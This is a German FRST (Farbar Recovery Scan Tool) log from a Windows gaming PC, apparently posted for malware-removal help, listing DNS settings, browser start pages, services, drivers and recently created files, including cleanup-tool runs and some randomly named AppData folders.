==================== Internet (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)

Tcpip\Parameters: [DhcpNameServer] 192.168.178.1
Tcpip\Parameters: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{05350888-1e85-11e7-9c91-806e6f6e6963}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{0c3a027a-71f5-4ae6-a09f-b43447e4bedf}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{0c3a027a-71f5-4ae6-a09f-b43447e4bedf}: [DhcpNameServer] 8.8.8.8
Tcpip\..\Interfaces\{21091673-449d-4377-bff3-92ec5412ab18}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{21091673-449d-4377-bff3-92ec5412ab18}: [DhcpNameServer] 192.168.178.1
Tcpip\..\Interfaces\{2330fd66-d402-4ecc-a6e1-0089109ba6d1}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{2330fd66-d402-4ecc-a6e1-0089109ba6d1}: [DhcpNameServer] 8.8.8.8
Tcpip\..\Interfaces\{342f28b7-2f96-4d98-90c7-8e4ffe97a81f}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{b5b82594-73d0-42da-a9b0-98d0d6569371}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{b5b82594-73d0-42da-a9b0-98d0d6569371}: [DhcpNameServer] 8.8.8.8

Internet Explorer:
==================
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.mysn.de
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.mysn.de
HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Internet Explorer\Main,Start Page =
HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = www.mysn.de

FireFox:
========
FF DefaultProfile: bckp6m63.default
FF ProfilePath: C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default [2017-06-03]
FF user.js: detected! => C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\user.js [2017-06-02]
FF Extension: (Adblock Plus) - C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\Extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi [2017-05-31]
FF Plugin-x32: @microsoft.com/OfficeLive,version=1.5 -> C:\Program Files (x86)\Microsoft\Office Live\npOLW.dll [2010-04-26] (Microsoft Corp.)
FF Plugin-x32: @nvidia.com/3DVision -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dv.dll [2017-05-01] (NVIDIA Corporation)
FF Plugin-x32: @nvidia.com/3DVisionStreaming -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll [2017-05-01] (NVIDIA Corporation)
FF ExtraCheck: C:\Program Files (x86)\mozilla firefox\browser\defaults\preferences\firefox.js [2017-06-02]

Chrome:
=======
CHR HKLM-x32\...\Chrome\Extension: [ccjleegmemocfpghkhpjmiccjcacackp] - hxxps://clients2.google.com/service/update2/crx

==================== Dienste (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R3 cphs; C:\windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\IntelCpHeciSvc.exe [284144 2016-11-21] (Intel Corporation)
R2 cplspcon; C:\windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\IntelCpHDCPSvc.exe [462832 2016-11-21] (Intel Corporation)
R2 HKClipSvc; C:\Program Files (x86)\Hotkey\Driver\x64\HKClipSvc.exe [256480 2015-11-26] (Insyde Software Corp.)
R2 IAStorDataMgrSvc; C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorDataMgrSvc.exe [17976 2016-09-20] (Intel Corporation)
R2 igfxCUIService2.0.0.0; C:\windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\igfxCUIService.exe [324592 2016-11-21] (Intel Corporation)
S3 Intel(R) Capability Licensing Service TCP IP Interface; C:\Program Files\Intel\iCLS Client\SocketHeciServer.exe [630048 2016-10-13] (Intel(R) Corporation)
R3 Intel(R) Online Connect; C:\Program Files\Intel\Intel(R) Online Connect\ioc.exe [25312 2016-11-01] (Intel Corporation)
S2 Intel(R) Online Connect Helper; C:\Program Files\Intel\Intel(R) Online Connect\iocHelperService.exe [34528 2016-11-01] (Intel Corporation)
S3 Intel(R) Online Connect Software Asset Manager; C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\IntelSoftwareAssetManagerService.exe [18152 2016-10-14] (Intel Corporation)
R2 Intel(R) TechnologyAccessLegacyCSLoader; C:\Program Files\Intel\Intel(R) Online Connect Access\LegacyCsLoaderService.exe [173288 2016-10-17] (Intel(R) Corporation)
R2 Intel(R) TechnologyAccessService; C:\Program Files\Intel\Intel(R) Online Connect Access\IntelTechnologyAccessService.exe [496872 2016-10-17] (Intel(R) Corporation)
R2 jhi_service; C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe [177440 2016-11-08] (Intel Corporation)
R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [4470736 2017-05-09] (Malwarebytes)
R2 NvContainerLocalSystem; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [495224 2017-05-03] (NVIDIA Corporation)
R3 NvContainerNetworkService; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [495224 2017-05-03] (NVIDIA Corporation)
R2 NVDisplay.ContainerLocalSystem; C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe [462968 2017-05-01] (NVIDIA Corporation)
R2 NvTelemetryContainer; C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe [450168 2017-05-03] (NVIDIA Corporation)
S3 OverwolfUpdater; C:\Program Files (x86)\Overwolf\OverwolfUpdater.exe [1326408 2017-05-14] (Overwolf LTD)
R2 PowerBiosServer; C:\Program Files (x86)\Hotkey\HotkeyService.exe [33280 2016-12-05] (CLEVO CO.) [Datei ist nicht signiert]
R2 SynTPEnhService; C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe [257624 2017-02-07] (Synaptics Incorporated)
R2 TeamViewer; C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe [10884848 2017-05-23] (TeamViewer GmbH)
S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [342264 2017-03-18] (Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [102816 2017-03-18] (Microsoft Corporation)
R2 ibtsiva; %SystemRoot%\system32\ibtsiva [X]

===================== Treiber (Nicht auf der Ausnahmeliste) ======================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R3 AirplaneModeHid; C:\windows\system32\DRIVERS\AirplaneModeHid.sys [33496 2015-10-01] (Insyde Corporation)
R1 ESProtectionDriver; C:\windows\system32\drivers\mbae64.sys [77376 2017-05-31] ()
R0 FPWinIo; C:\windows\System32\drivers\FPWinIo.sys [23536 2014-10-07] (Egis Technology Inc.)
R3 HKKbdFltr; C:\windows\system32\DRIVERS\HKKbdFltr.sys [51400 2015-11-26] (Insyde Software Corp.)
R3 HKMouFltr; C:\windows\system32\DRIVERS\HKMouFltr.sys [48344 2015-11-26] (Insyde Software Corp.)
R3 ibtusb; C:\windows\system32\DRIVERS\ibtusb.sys [173576 2017-03-10] (Intel Corporation)
R3 igfx; C:\windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\igdkmd64.sys [11039704 2016-11-21] (Intel Corporation)
R2 MBAMChameleon; C:\windows\system32\drivers\MBAMChameleon.sys [188312 2017-06-03] (Malwarebytes)
R3 MBAMFarflt; C:\windows\system32\drivers\farflt.sys [113592 2017-06-03] (Malwarebytes)
R3 MBAMProtection; C:\windows\system32\drivers\mbam.sys [44960 2017-06-03] (Malwarebytes)
R0 MBAMSwissArmy; C:\windows\System32\drivers\MBAMSwissArmy.sys [252832 2017-06-03] (Malwarebytes)
R3 MBAMWebProtection; C:\windows\system32\drivers\mwac.sys [93600 2017-06-03] (Malwarebytes)
R1 ndisrd; C:\windows\system32\DRIVERS\ndisrfl.sys [59792 2016-09-13] (Intel Corporation)
R3 Netwtw04; C:\windows\System32\drivers\Netwtw04.sys [7218176 2017-03-18] (Intel Corporation)
R3 nvlddmkm; C:\windows\System32\DriverStore\FileRepository\nvcvwu.inf_amd64_166fee8ea72cb783\nvlddmkm.sys [14456920 2017-05-18] (NVIDIA Corporation)
R3 NvStreamKms; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys [30328 2017-05-03] (NVIDIA Corporation)
R3 nvvad_WaveExtensible; C:\windows\system32\drivers\nvvad64v.sys [48248 2017-05-03] (NVIDIA Corporation)
R3 nvvhci; C:\windows\System32\drivers\nvvhci.sys [57976 2017-05-03] (NVIDIA Corporation)
R3 rt640x64; C:\windows\System32\drivers\rt640x64.sys [943112 2016-08-01] (Realtek                                            )
R3 RTSPER; C:\windows\system32\DRIVERS\RtsPer.sys [779232 2016-08-05] (Realsil Semiconductor Corporation)
S3 SDFRd; C:\windows\System32\drivers\SDFRd.sys [31128 2017-03-18] ()
R3 SmbDrvI; C:\windows\system32\DRIVERS\Smb_driver_Intel.sys [64088 2017-02-07] (Synaptics Incorporated)
S3 WdBoot; C:\windows\system32\drivers\WdBoot.sys [44632 2017-03-18] (Microsoft Corporation)
S3 WdFilter; C:\windows\system32\drivers\WdFilter.sys [294816 2017-03-18] (Microsoft Corporation)
S3 WdNisDrv; C:\windows\System32\Drivers\WdNisDrv.sys [121248 2017-03-18] (Microsoft Corporation)
S3 AIDA64Driver; \??\C:\Users\Administrator\Desktop\XSTRA\Apps\AIDA64\kerneld.x64 [X]

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)


==================== Ein Monat: Erstellte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-03 16:29 - 2017-06-03 16:29 - 00167470 _____ C:\Users\****\Desktop\SystemLook.txt
2017-06-03 15:52 - 2017-06-03 15:52 - 00001089 _____ C:\Users\****\Desktop\adwcleaner_6.047.exe - Verknüpfung.lnk
2017-06-03 15:51 - 2017-06-03 16:24 - 00167468 _____ C:\Users\****\Downloads\SystemLook.txt
2017-06-03 15:50 - 2017-06-03 15:50 - 00165376 _____ C:\Users\****\Desktop\SystemLook_x64.exe
2017-06-03 15:44 - 2017-06-03 15:55 - 00020392 _____ C:\Users\****\Desktop\Fixlog.txt
2017-06-03 00:41 - 2017-06-03 01:34 - 00377706 _____ C:\Users\****\Desktop\mbam.txt
2017-06-03 00:20 - 2017-06-03 15:56 - 00093600 _____ (Malwarebytes) C:\windows\system32\Drivers\mwac.sys
2017-06-03 00:20 - 2017-06-03 15:46 - 00252832 _____ (Malwarebytes) C:\windows\system32\Drivers\MBAMSwissArmy.sys
2017-06-03 00:20 - 2017-06-03 15:46 - 00113592 _____ (Malwarebytes) C:\windows\system32\Drivers\farflt.sys
2017-06-03 00:20 - 2017-06-03 15:46 - 00044960 _____ (Malwarebytes) C:\windows\system32\Drivers\mbam.sys
2017-06-03 00:20 - 2017-06-03 00:20 - 00188312 _____ (Malwarebytes) C:\windows\system32\Drivers\MBAMChameleon.sys
2017-06-03 00:20 - 2017-06-03 00:20 - 00001918 _____ C:\Users\Public\Desktop\Malwarebytes.lnk
2017-06-03 00:20 - 2017-06-03 00:20 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes
2017-06-03 00:20 - 2017-06-03 00:20 - 00000000 ____D C:\ProgramData\Malwarebytes
2017-06-03 00:20 - 2017-06-03 00:20 - 00000000 ____D C:\Program Files\Malwarebytes
2017-06-03 00:20 - 2017-05-31 11:09 - 00077376 _____ C:\windows\system32\Drivers\mbae64.sys
2017-06-03 00:19 - 2017-06-03 00:19 - 64025992 _____ (Malwarebytes ) C:\Users\****\Downloads\mb3-setup-consumer-3.1.2.1733-1.0.139-1.0.2060.exe
2017-06-03 00:15 - 2017-06-03 00:15 - 00060223 _____ C:\Users\****\Downloads\https _de.malwarebytes.com_.htm
2017-06-03 00:08 - 2017-06-03 01:01 - 00022416 _____ C:\Users\****\Desktop\AdwCleaner[C0].txt
2017-06-03 00:07 - 2017-06-03 00:07 - 00021228 _____ C:\Users\****\Desktop\AdwCleaner[S0].txt
2017-06-03 00:05 - 2017-06-03 00:42 - 00000000 ____D C:\AdwCleaner
2017-06-03 00:04 - 2017-06-03 00:04 - 04110280 _____ C:\Users\****\Downloads\adwcleaner_6.047.exe
2017-06-02 18:14 - 2017-06-02 18:14 - 00000000 ____D C:\Users\Default\AppData\Local\AdvinstAnalytics
2017-06-02 18:14 - 2017-06-02 18:14 - 00000000 ____D C:\Users\Default User\AppData\Local\AdvinstAnalytics
2017-06-02 18:06 - 2017-06-02 18:07 - 00080000 _____ C:\Users\****\Desktop\Neues Textdokument.txt
2017-06-02 18:04 - 2017-06-02 18:04 - 00000000 _____ C:\Users\****\Desktop\FRST2.txt
2017-06-02 18:02 - 2017-06-03 01:34 - 00033247 _____ C:\Users\****\Desktop\Addition.txt
2017-06-02 17:42 - 2017-06-03 16:30 - 00016295 _____ C:\Users\****\Desktop\FRST.txt
2017-06-02 17:42 - 2017-06-03 16:30 - 00000000 ____D C:\FRST
2017-06-02 17:42 - 2017-06-02 17:41 - 02433536 _____ (Farbar) C:\Users\****\Desktop\FRST64.exe
2017-06-02 17:11 - 2017-06-02 17:11 - 14383616 _____ C:\Users\****\Downloads\gta_sa.exe
2017-06-02 17:05 - 2016-12-27 04:34 - 00025432 _____ C:\windows\system32\Drivers\vcdrom.sys
2017-06-02 17:04 - 2017-06-03 00:24 - 00000000 ____D C:\Users\****\AppData\Roaming\Reerkucultprifery
2017-06-02 17:04 - 2017-06-02 17:04 - 00140800 _____ C:\Users\****\AppData\Local\installer.dat
2017-06-02 17:04 - 2017-06-02 17:04 - 00011568 _____ C:\Users\****\AppData\Local\InstallationConfiguration.xml
2017-06-02 17:04 - 2017-06-02 17:04 - 00000000 ____D C:\Users\****\AppData\Roaming\uTorrent
2017-06-02 17:04 - 2017-06-02 17:04 - 00000000 ____D C:\Users\****\AppData\Local\Atokuther
2017-06-02 16:46 - 2017-06-02 16:46 - 00000201 _____ C:\Users\****\Desktop\Grand Theft Auto San Andreas.url
2017-06-02 16:38 - 2017-06-02 16:39 - 00000783 _____ C:\Users\****\Desktop\settings.ini
2017-06-02 16:38 - 2017-06-02 16:39 - 00000148 _____ C:\Users\****\Desktop\fahndungen.ini
2017-06-02 16:29 - 2016-12-28 17:32 - 00827392 _____ C:\Users\****\Desktop\SAPDBinder.exe
2017-06-02 16:27 - 2017-06-02 16:27 - 00725157 _____ C:\windows\unins000.exe
2017-06-02 16:26 - 2017-06-02 16:26 - 00001118 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamViewer 12.lnk
2017-06-02 16:26 - 2017-06-02 16:26 - 00001106 _____ C:\Users\Public\Desktop\TeamViewer 12.lnk
2017-06-02 16:26 - 2017-06-02 16:26 - 00000000 ____D C:\Users\****\AppData\Roaming\TeamViewer
2017-06-02 16:25 - 2017-06-02 16:28 - 00000000 ____D C:\Program Files (x86)\TeamViewer
2017-06-02 16:25 - 2017-06-02 16:25 - 15507008 _____ (TeamViewer GmbH) C:\Users\****\Downloads\TeamViewer_Setup.exe
2017-06-02 16:14 - 2017-06-02 16:27 - 00006598 _____ C:\windows\unins000.dat
2017-06-01 22:05 - 2017-06-01 22:05 - 00004000 _____ C:\windows\System32\Tasks\NVIDIA GeForce Experience SelfUpdate_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-06-01 22:05 - 2017-05-03 21:28 - 00001951 _____ C:\windows\NvTelemetryContainerRecovery.bat
2017-06-01 22:04 - 2017-05-03 22:21 - 00143480 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvaudcap32v.dll
2017-06-01 20:50 - 2017-06-01 20:50 - 00000000 ____D C:\Users\****\AppData\Local\ElevatedDiagnostics
2017-06-01 18:03 - 2017-06-01 19:56 - 00000000 ____D C:\Donads-Keybinder
2017-06-01 17:57 - 2017-06-01 17:57 - 00417280 _____ C:\Users\****\Desktop\Donads_Keybinder.exe
2017-05-31 21:59 - 2017-05-31 22:22 - 00000795 _____ C:\Users\****\Desktop\Daten.ini
2017-05-31 21:59 - 2017-03-31 16:15 - 00808448 _____ C:\Users\****\Desktop\FIB.exe
2017-05-31 20:56 - 2017-05-31 20:56 - 00000000 ____D C:\windows\San Andreas Mod Installer
2017-05-31 20:08 - 2017-05-31 20:08 - 00000000 ____D C:\Program Files (x86)\VulkanRT
2017-05-31 20:08 - 2017-05-01 22:14 - 00134592 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvStreaming.exe
2017-05-31 20:08 - 2017-03-10 23:17 - 00536864 _____ C:\windows\system32\vulkan-1.dll
2017-05-31 20:08 - 2017-03-10 23:17 - 00525600 _____ C:\windows\SysWOW64\vulkan-1.dll
2017-05-31 20:08 - 2017-03-10 23:17 - 00254240 _____ C:\windows\system32\vulkaninfo.exe
2017-05-31 20:08 - 2017-03-10 23:17 - 00233760 _____ C:\windows\SysWOW64\vulkaninfo.exe
2017-05-31 18:59 - 2017-05-31 18:59 - 00000000 ____D C:\Users\****\Documents\Mount&Blade Warband Savegames
2017-05-31 15:30 - 2017-05-31 15:30 - 00000000 ____D C:\Users\****\AppData\Local\Arktos Entertainment
2017-05-31 15:29 - 2017-05-31 15:29 - 00000000 ____D C:\Users\****\Documents\FredaikisAB
2017-05-31 15:29 - 2017-05-31 15:29 - 00000000 ____D C:\Users\****\AppData\Local\FredaikisAB
2017-05-31 15:29 - 2017-05-31 15:29 - 00000000 ____D C:\Users\****\AppData\Local\CrashRpt
2017-05-31 14:55 - 2017-05-31 15:09 - 00000000 ____D C:\windows\SysWOW64\directx
2017-05-31 14:55 - 2017-05-31 14:55 - 00292184 _____ (Microsoft Corporation) C:\Users\****\Downloads\dxwebsetup.exe
2017-05-31 14:27 - 2017-05-31 14:27 - 00000000 ____D C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\San Andreas Multiplayer
2017-05-31 14:26 - 2017-05-31 15:12 - 00000000 ____D C:\Users\****\Documents\GTA San Andreas User Files
2017-05-31 14:26 - 2015-04-27 04:50 - 00412672 _____ C:\Users\****\Desktop\samp.exe
2017-05-31 13:59 - 2017-05-31 14:02 - 00000000 ____D C:\Users\****\AppData\Local\NVIDIA
2017-05-31 13:59 - 2017-05-31 13:59 - 00000000 ____D C:\Users\****\AppData\Local\Chromium
2017-05-31 13:47 - 2017-05-31 13:48 - 16270006 _____ C:\Users\****\Downloads\sa-mp-0.3.7-install.exe
2017-05-31 13:45 - 2017-05-31 19:00 - 00000000 ____D C:\Users\****\Documents\Mount&Blade Warband
2017-05-31 13:45 - 2017-05-31 18:59 - 00000000 ____D C:\Users\****\AppData\Roaming\Mount&Blade Warband
2017-05-30 22:47 - 2017-05-30 22:47 - 00000200 _____ C:\Users\****\Desktop\Garry's Mod.url
2017-05-30 22:16 - 2017-05-30 22:16 - 00000202 _____ C:\Users\****\Desktop\Tabletop Simulator.url
2017-05-30 22:15 - 2017-05-30 22:15 - 00000202 _____ C:\Users\****\Desktop\Stellaris.url
2017-05-30 22:15 - 2017-05-30 22:15 - 00000202 _____ C:\Users\****\Desktop\Men of War Assault Squad 2.url
2017-05-30 22:13 - 2017-05-30 22:13 - 00000201 _____ C:\Users\****\Desktop\Men of War Assault Squad.url
2017-05-30 22:12 - 2017-05-30 22:12 - 00000201 _____ C:\Users\****\Desktop\Anno 1404.url
2017-05-30 22:12 - 2017-05-30 22:12 - 00000199 _____ C:\Users\****\Desktop\Counter-Strike Global Offensive.url
2017-05-30 22:11 - 2017-05-30 22:11 - 00000202 _____ C:\Users\****\Desktop\Infestation The New Z.url
2017-05-30 22:11 - 2017-05-30 22:11 - 00000202 _____ C:\Users\****\Desktop\Europa Universalis IV.url
2017-05-30 22:11 - 2017-05-30 22:11 - 00000201 _____ C:\Users\****\Desktop\The Guild II Renaissance.url
2017-05-30 22:03 - 2010-06-02 04:55 - 00527192 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_7.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00518488 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_7.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00239960 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_7.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00176984 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_7.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00077656 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_5.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00074072 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_5.dll
2017-05-30 22:03 - 2010-05-26 11:41 - 02526056 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_43.dll
2017-05-30 22:03 - 2010-05-26 11:41 - 02106216 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_43.dll
2017-05-30 22:03 - 2010-05-26 11:41 - 01907552 _____ (Microsoft Corporation) C:\windows\system32\d3dcsx_43.dll
2017-05-30 22:03 - 2010-05-26 11:41 - 01868128 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dcsx_43.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00530776 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_6.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00528216 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_6.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00238936 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_6.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00176984 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_6.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00078680 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_4.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00074072 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_4.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00024920 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_7.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00022360 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_7.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00517960 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_5.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00515416 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_5.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00238936 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_5.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00176968 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_5.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00073544 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_3.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00069464 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_3.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 05554512 _____ (Microsoft Corporation) C:\windows\system32\d3dcsx_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 05501792 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dcsx_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 02582888 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 02475352 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 01974616 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 01892184 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 00523088 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 00453456 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 00285024 _____ (Microsoft Corporation) C:\windows\system32\d3dx11_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 00235344 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx11_42.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00521560 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_4.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00517448 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_4.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00235352 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_4.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00174936 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_4.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00024920 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_6.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00022360 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_6.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 05425496 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 04178264 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 02430312 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 01846632 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 00520544 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 00453456 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_41.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00518480 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_3.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00514384 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_3.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00235856 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_3.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00175440 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_3.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00074576 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_2.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00070992 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_2.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00025936 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_5.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00023376 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_5.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 05631312 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 04379984 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 02605920 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 02036576 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 00519000 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 00452440 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_40.dll
2017-05-30 22:03 - 2008-07-31 10:41 - 00238088 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_2.dll
2017-05-30 22:03 - 2008-07-31 10:41 - 00177672 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_2.dll
2017-05-30 22:03 - 2008-07-31 10:41 - 00072200 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_1.dll
2017-05-30 22:03 - 2008-07-31 10:41 - 00068616 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_1.dll
2017-05-30 22:03 - 2008-07-31 10:40 - 00513544 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_2.dll
2017-05-30 22:03 - 2008-07-31 10:40 - 00509448 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_2.dll
2017-05-30 22:03 - 2008-07-10 11:01 - 00467984 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_39.dll
